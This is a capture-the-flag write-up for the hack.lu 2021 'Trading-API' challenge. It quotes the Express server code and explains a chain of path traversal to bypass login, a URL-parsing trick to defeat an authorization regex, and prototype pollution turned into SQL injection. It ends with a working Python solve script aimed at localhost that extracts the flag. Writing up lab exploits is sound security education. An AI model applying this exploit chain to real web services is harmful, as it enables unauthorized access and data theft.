Trading-API
hacklu-ctf 2021
Bypass Authorization with path traversal
//server-side
const express = require('express');
const dotenv = require('dotenv');
const morgan = require('morgan');
const getOrDefault = (key, defaultValue) => {
if (!process.env.hasOwnProperty(key)) {
return defaultValue;
}
return process.env[key];
}
const getRequired = (key) => {
if (!process.env.hasOwnProperty(key)) {
console.error(`Missing config: ${key}`);
process.exit(1);
}
return process.env[key];
};
dotenv.config();
const HOST = getOrDefault('HOST', '127.0.0.1');
const PORT = getOrDefault('PORT', '3001');
const TOKEN = getRequired('TOKEN');
const CREDENTIALS = JSON.parse(getOrDefault('CREDENTIALS', '[]'));
const app = express();
app.use(morgan('dev'));
app.use(express.json());
const ensureValidToken = (req, res, next) => {
const token = req.get('authorization') ?? null;
if (token === null) {
return res.status(400).end();
}
if (token !== TOKEN) {
return res.status(401).end();
}
next();
};
const checkCredentials = (username, password) => {
console.log(`Checking ${JSON.stringify(username)}:${JSON.stringify(password)}`);
return CREDENTIALS.some(({ user, pass }) => username === user && password === pass);
};
app.all('/health', (req, res) => res.send('ok'));
app.post('/api/users/:username/auth', ensureValidToken, async (req, res) => {
const { username } = req.params;
const { password } = req.body;
try {
if (checkCredentials(username, password)) {
return res.status(200).end();
} else {
return res.status(401).end();
}
} catch (error) {
console.error(error);
return res.status(500).end();
}
});
app.listen(PORT, HOST, () => {
console.log(`Listening on ${HOST}:${PORT}`);
});
//client-side
async function login(req, res) {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).send('missing username or password');
}
// this is vulnerable as encodeURI does not properly sanitize input
try {
const r = await got.post(`${AUTH_SERVICE}/api/users/${encodeURI(username)}/auth`, {
headers: { authorization: AUTH_API_TOKEN },
json: { password },
});
if (r.statusCode !== 200) {
return res.status(401).send('wrong');
}
const jwt = jsonwebtoken.sign({ username }, JWT_SECRET);
return res.json({ token: jwt });
} catch (error) {
return res.status(503).end('error');
}
} To succesfully bypass the login mechanism, we need a status code 200 from the auth component.
Looking at how the request is being made, we see the use of encodeURI which does not sanitize the input properly.
Therfore we can append ../ sequences to another api call present called /health, terminating it with a # character, which will allow us to bypass the login altogether.
Bypassing authz with path normalization
We see the use of a middleware authz which is used to determine access to the /api/priv/* calls
const express = require('express');
const morgan = require('morgan');
const { getOrDefault } = require('./config');
const { login, authn } = require('./authn');
const { authz, Permissions } = require('./authz');
const registerApi = require('./api');
const HOST = getOrDefault('HOST', '127.0.0.1');
const PORT = getOrDefault('PORT', '3000');
async function main() {
const app = express();
app.use(morgan('dev'));
app.use(express.json());
app.all('/health', (req, res) => res.send('ok'));
// authentication
app.post('/api/auth/login', login);
app.use(authn);
// authorization
app.use(authz({
userPermissions: new Map(Object.entries({
warrenbuffett69: [Permissions.VERIFIED],
})),
routePermissions: [
[/^\/+api\/+priv\//i, Permissions.VERIFIED],
],
}));
await registerApi(app);
app.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
}
main();
Looking at authz, we see that it is validating req.url against the regex.
const Permissions = {
VERIFIED: 'verified',
};
function hasPermission(userPermissions, username, permission) {
return userPermissions.get(username)?.includes(permission) ?? false;
}
function authz({ userPermissions, routePermissions }) {
return (req, res, next) => {
const { username } = req.user;
for (const [regex, permission] of routePermissions) {
console.log(req.url);
if (regex.test(req.url) && !hasPermission(userPermissions, username, permission)) {
return res.status(403).send('forbidden');
}
}
next();
};
}
module.exports = {
Permissions,
authz,
};
When applying a middleware, req.url strips the front part of the url, taking only the path.
For example, if a user requests http://example.com/users/profile?id=123, then req.url would be /users/profile?id=1.
But regex.test is checking for whether req.url starts with /api/priv so if we send a url like http://x/api/priv..., it will resolve to /api/priv... thus failing the regex check, allowing us to bypass the hasPermission call.
SQLi with prototype pollution
Looking at the privileged path /api/priv/assets/:asset/:action, we see that we are able to specify the asset variable which leads to transactions[asset][txId] but txId seems to be randomly generated.
app.put('/api/priv/assets/:asset/:action', async (req, res) => {
const { username } = req.user
const { asset, action } = req.params;
if (/[^A-z]/.test(asset)) {
return res.status(400).send('asset name must be letters only');
}
const assetTransactions = transactions[asset] ?? (transactions[asset] = {});
// id is generated here (randomized)
const txId = generateId();
// assetTransactions is a map of txId to action transactions[asset][txId] = action
assetTransactions[txId] = action;
try {
await makeTransaction(username, txId, asset, action === 'buy' ? 1 : -1);
res.json({ id: txId });
} catch (error) {
console.error('db error:', error.message);
res.status(500).send('transaction failed');
} finally {
delete assetTransactions[txId];
}
});
If we perform prototype pollution, we will have something like transactions['__proto__'][randomId] = "Whatever we want"
Looking at the way our statement is prepared, we see a permissive sqlEscape function which allows ASCII printable characters.
It then set the escaped values to the keys with replaceAll.
If we overwrite the property of txID and set a placeholder in the query, replaceAll will substitute the value of "Whatever we want" in the placeholder, allowing us to perform SQLi.
Let's see that in action.
POST /api/auth/login 200 41.600 ms - 171
http://z/api/priv/assets/__proto__/%27%29%2C%2831193%2C%20%28SELECT%20%2A%20FROM%20flag%29%2C1%2C1%29--
Escaped parameters: {
amount: '-1',
asset: "'__proto__'",
username: "'../../../../health#?::txId'",
txId: '108446613024694'
}
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, :username)
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, :username)
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, '../../../../health#?::txId')
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?:108446613024694')
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?'),(31193, (SELECT * FROM flag),1,1)--')
Executing transaction query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?'),(31193, (SELECT * FROM flag),1,1)--')We see that it is replacing each of the set keys (E.g :txId, :asset etc) in the for .. in loop, and by setting the placeholder ::txId in our username, we are able to set the placeholder :108446613024694 whose value has been set earlier here transactions['__proto__'][randomId] = action
Piecing together a solve script, we get the flag.
import requests
import socket
## Get token
url = "http://localhost:3000/api/auth/login"
data = {
"username": "../../../../health#?::txId",
"password": "password"
}
response = requests.post(url, json=data)
token = response.json().get("token")
host = "localhost"
port = 3000
asset = '__proto__'
action = "'),(31193, (SELECT * FROM flag),1,1)--"
# URL encode the action parameter
import urllib.parse
encoded_action = urllib.parse.quote(action, safe='')
# Correct HTTP request format
raw_request = f"""PUT http://z/api/priv/assets/{asset}/{encoded_action} HTTP/1.1\r
Host: {host}:{port}\r
Authorization: {token}\r
Content-Length: 0\r
Connection: close\r
\r
"""
print(raw_request)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.sendall(raw_request.encode())
# Receive full response
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
sock.close()
print(response.decode())
## Get token
headers = {"Authorization": token}
url = "http://localhost:3000/api/transactions/31193"
response = requests.get(url, headers=headers)
print(response.text)Last updated